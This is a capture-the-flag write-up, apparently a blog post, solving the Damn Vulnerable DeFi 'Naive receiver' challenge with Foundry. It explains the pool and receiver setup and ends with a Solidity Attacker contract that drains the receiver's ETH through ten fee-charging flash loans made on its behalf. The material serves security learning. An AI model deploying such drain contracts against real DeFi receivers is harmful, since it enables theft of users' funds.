Challenge #2 - Naive receiver#
In order to learn Solidity and Foundry systematically, I rewrote the solution to damnvulnerable-defi based on the Foundry testing framework. Welcome to discuss and build together~🎉
Contracts#
- NaiveReceiverLenderPool: Inherits IERC3156FlashLender and provides flash loan functionality.
- FlashLoanReceiver: Inherits IERC3156FlashBorrower and is used for initiating flash loan receive callbacks.
Scripts#
- Deploy the NaiveReceiverLenderPool contract and transfer 1000 ETH to the pool. The flash loan fee for the pool is 1 ETH.
- Deploy the FlashLoanReceiver contract and transfer 10 ETH to the receiver.
- Execute the attack script.
- Expect the balance in the receiver to be 0 and the balance in the pool to be 1000 + 10 ETH.
Solution#
The goal of the attack is to make the balance in the receiver empty. Since each flash loan executed through the pool requires a fee of 1 ETH, it is sufficient to execute ten flash loans from the receiver to transfer all 10 ETH to the pool through fees.
According to the requirements of the challenge, try to complete the attack in one transaction. Therefore, you can write a contract to complete ten flash loans in one transaction.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract Attacker {
constructor(address payable _pool, address payable _receiver){
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
for(uint256 i=0; i<10; i++){
pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
}
}
}